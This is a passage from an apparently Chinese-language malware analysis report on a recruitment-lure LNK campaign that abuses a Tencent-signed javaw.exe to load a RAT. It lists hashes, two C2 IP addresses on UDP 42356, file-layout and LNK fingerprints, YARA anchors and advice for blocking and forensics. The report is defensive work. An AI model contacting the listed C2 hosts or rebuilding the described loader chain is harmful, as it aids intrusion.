5-途牛旅游.lnk |
| SHA-256 |
197ea3f3af2261d07ddb5221b850f1784e3a01a1e0c09fc32e42e21d2339c4a2 |
加载器(签名被滥用) |
cache/bin/javaw.exe,Tencent 签名未改动 |
| SHA-256 |
e8ef3b6420b1102f03f7eecf07341e50e7cb59b8c988cfc5e8cba5dec9a0063d |
注入载体 |
cache/jre/lib/rt.jar(314 类,含 RefAccess) |
| SHA-256 |
841aa24169d842147b89ce0a44482bc792fa82d09db3bb377033e71a2ae248c6 |
stage-1 注入类 |
java/lang/RefAccess.class |
| SHA-256 |
01a0de1622b545306d3c21c2df3055c93009dfda2b57881feb41dbf150ae8424 |
载荷容器 |
cache/jre/lib/currency.data(研发岗,C2 114.132.133.148) |
| SHA-256 |
6d814dd3bdc46532559bf9aa945229241581a2ebc643ed28c1e2afbdfbf95e85 |
载荷容器 |
cache/jre/lib/currency.data(行政主管,C2 81.71.250.32) |
| SHA-256 |
68beaa7831ae75f59ca2f1783b13b2032b4536881f9618e7ba03a47dd419ef0f |
RAT(stage-2) |
解密载荷(研发岗) |
| SHA-256 |
1ac9e56e1b89493cddb8fe196914c514f6c59d3e42886d06d52b79b5d15ce251 |
RAT(stage-2) |
解密载荷(行政主管) |
| SHA-256 |
d8211ace9a440f9b5b374bae51055ad9125a368adf1e38546ea4ca3bca2c17a1 |
组件 |
cache/jre/bin/server/jvm.dll(自建 HotSpot 8u492-b1) |
| SHA-256 |
d98f167e103a9e3307b841e246b500cd7c067d6a767ef189823bc19999d3b2bb |
诱饵 |
中船724所.pdf |
| SHA-256 |
ccceb1bd762a2a11958864e5badfee089ddfe68d4f06edeba5f34efcd8ffdb35 |
诱饵 |
南瑞继保.pdf |
| SHA-256 |
0b2c000eea6728cde6339ad59f0e358028b00a7959a90364387133fbfa8defb0 |
诱饵 |
中电科14所.pdf |
| SHA-256 |
97784860edbe6a24756a18fd80c37795814574c4f3580d7a03931369eb003309 |
诱饵 |
中国移动.pdf |
| SHA-256 |
bb3d8a85d254f34064bbdcfe7aaa26e35c8266223f1ba59a6a690466cc939cc5 |
诱饵 |
中电科十四所.pdf |
| SHA-256 |
673ab1228f820fb1806faae5294b0ae8af5d1410d3ade1bb980898e938525125 |
诱饵 |
途牛旅游.pdf |
| SHA-256 |
a91993040af3567d08d84a4892d7dbd5793d92fc126c14c149a4077c8c519a61 |
诱饵 |
中电科28所/国电南瑞/国家电网/苏宁易购 复用 PDF(尾部含 smali 残留) |
8.2 网络
| 类型 |
值 |
性质 |
说明 |
| IPv4 |
114.132.133.148 |
C2 |
研发岗套件,UDP 42356 |
| IPv4 |
81.71.250.32 |
C2 |
行政主管套件,UDP 42356 |
| port/udp |
42356 |
C2 端口 |
出站非阻塞 UDP,立即数 0xA574 |
| 协议指纹 |
RC4 + CRC32(0xEDB88320) + 随机 16–128B 填充 的 UDP 自定义帧 |
通信特征 |
可作 NDR/Sigma 侧规则 |
8.3 主机与文件痕迹
| 类型 |
值 |
性质 |
说明 |
| 路径 |
cache/bin/javaw.exe、cache/bin/jli.dll、cache/jre/bin/{java.dll,verify.dll,zip.dll,server/jvm.dll}、cache/jre/lib/{rt.jar,currency.data,amd64/jvm.cfg} |
套装文件布局 |
便携 JRE 相对路径布局,可作为目录级 IOC |
| 字符串 |
18f1a301443291be |
客户端标识 |
两套件一致的 16 hex 配置 ID(疑 RC4 密钥材料或 client id) |
| 字符串 |
..\..\..\..\..\..\Windows\explorer.exe |
LNK 模板特征 |
ForceNoLinkInfo + 无 WorkingDir + 参数 cache\<公司>.pdf / cache\bin\javaw.exe |
| LNK 元数据 |
TargetFileSize=3340184、TargetCreationTime=2026-06-10 05:12:23 UTC、TrackerData MachineID=a1、DroidVolumeID=44b37b59a1588f4986c48d996cd39995、DroidFileID=4e71789a5665f111a187a0294244d51c |
生成器指纹 |
10 份 LNK 完全一致,可聚类同源 LNK |
| 签名/构建 |
CN=Tencent Technology (Shenzhen) Company Limited(DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 → DigiCert Trusted Root G4);PDB d:\devops_agent\workspace\p-1e139f598d074683bf1cb33c056202d5\src\gitcode\build\windows-x86_64-normal-server-release\jdk\objs\javaw_objs\javaw.pdb |
签名与构建指纹 |
可用于同活动样本关联(签名主体 + PDB 前缀) |
| 注册表 |
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid |
指纹读取目标 |
仅读取,非恶意键值,可作行为监控点 |
| 抗分析常量 |
0xB1FC7F66、0x52A48D7E、0xDEADBEEF12345678、0xCAFEBABE87654321、0x5A3C6E91、0xA574、0xEDB88320、0x8004667E |
家族指纹 |
可用于 YARA 与内存扫描 |
9 检测与处置建议
- 网络:封禁
114.132.133.148、81.71.250.32;对任意出站 UDP/42356 告警(尤其源自 javaw.exe/java.exe 的短时非阻塞 UDP 会话);按「RC4 体 + CRC32 + 随机填充」帧特征写 NDR 规则。
- 主机:告警「LNK 目标为相对路径
explorer.exe 且参数指向同目录 cache\ 下可执行文件」的样本;告警便携 JRE 目录(cache/bin/javaw.exe + cache/jre/lib/currency.data)落地;监控 javaw.exe 生命周期极短(秒级)且伴随 Runtime.halt 行为的退出。
- YARA 建议锚点:
0xB1FC7F66/0x52A48D7E 常量对、0xDEADBEEF12345678、0xCAFEBABE87654321、class 内 688 字符 hex blob、rt.jar 中 DOS 时间戳为 0 的条目、currency.data 且前 12 字节为随机 nonce 的 21564B 文件。
- 取证:
cache/ 整目录留存;曾双击 LNK 的主机做内存/网络取证(JVM 已自终止,需依赖 UDP 会话与 EDR 进程树 explorer.exe → javaw.exe)。
- 排查面:以「招聘 JD + 单位名」为名的 LNK/压缩包在邮件网关侧拦截;对本活动相关的 Tencent 签名
javaw.exe + 上述 PDB 前缀做样本关联检索。
参考
JVM核心类加载器及类加载的全过程
kcp